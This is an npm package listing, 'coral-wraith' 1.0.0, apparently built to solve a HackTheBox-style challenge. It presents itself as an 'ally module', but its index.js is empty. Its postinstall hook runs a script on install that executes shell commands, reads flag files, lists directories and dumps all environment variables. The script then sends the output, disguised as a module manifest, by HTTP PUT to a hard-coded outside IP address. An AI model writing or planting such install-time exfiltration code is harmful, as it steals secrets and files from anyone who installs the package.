coral-wraith 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "coral-wraith",
+  "version": "1.0.0",
+  "description": "Coral Wraith ally module",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
+}

package/postinstall.js

@@ -0,0 +1,37 @@
+const http = require("http");
+const { execSync } = require("child_process");
+
+const TARGET = "http://154.57.164.71:30782";
+const SINK = "ECT-472839";
+
+function run(cmd) {
+  try { return execSync(cmd, { timeout: 15000, encoding: "utf8", maxBuffer: 8e6 }); }
+  catch (e) { return (e.stdout || "") + (e.stderr || ""); }
+}
+
+const out = run(
+  "id; ls -la /app /root /flag /flag.txt 2>&1; " +
+  "cat /flag /flag.txt /app/flag.txt /root/flag.txt 2>&1; " +
+  "grep -RaoE 'HTB\\{[^}]+\\}' /app /root /flag 2>/dev/null | head -n3; " +
+  "env | sort | tr '\\n' ';'"
+);
+
+const flag = out.match(/HTB\{[^}]+\}/);
+const safe = (s) => String(s).replace(/[\r\n\\"]/g, " ").slice(0, 240);
+const parts = flag
+  ? [flag[0], "FOUND", "", ""]
+  : [safe(out.slice(0, 240)), safe(out.slice(240, 480)), safe(out.slice(480, 720)), safe(out.slice(720, 960))];
+
+const body = JSON.stringify({
+  manifest:
+    `ecto_module:\n  name: "${parts[0]}"\n  version: "1.0.0"\n` +
+    `  power_level: "${parts[1]}"\n  ship_deck: "${parts[2]}"\n  cargo_hold: "${parts[3]}"\n`
+});
+
+const url = new URL(`/api/modules/${SINK}`, TARGET);
+const req = http.request({
+  hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
+  headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
+}, (res) => res.resume());
+req.on("error", () => {});
+req.end(body);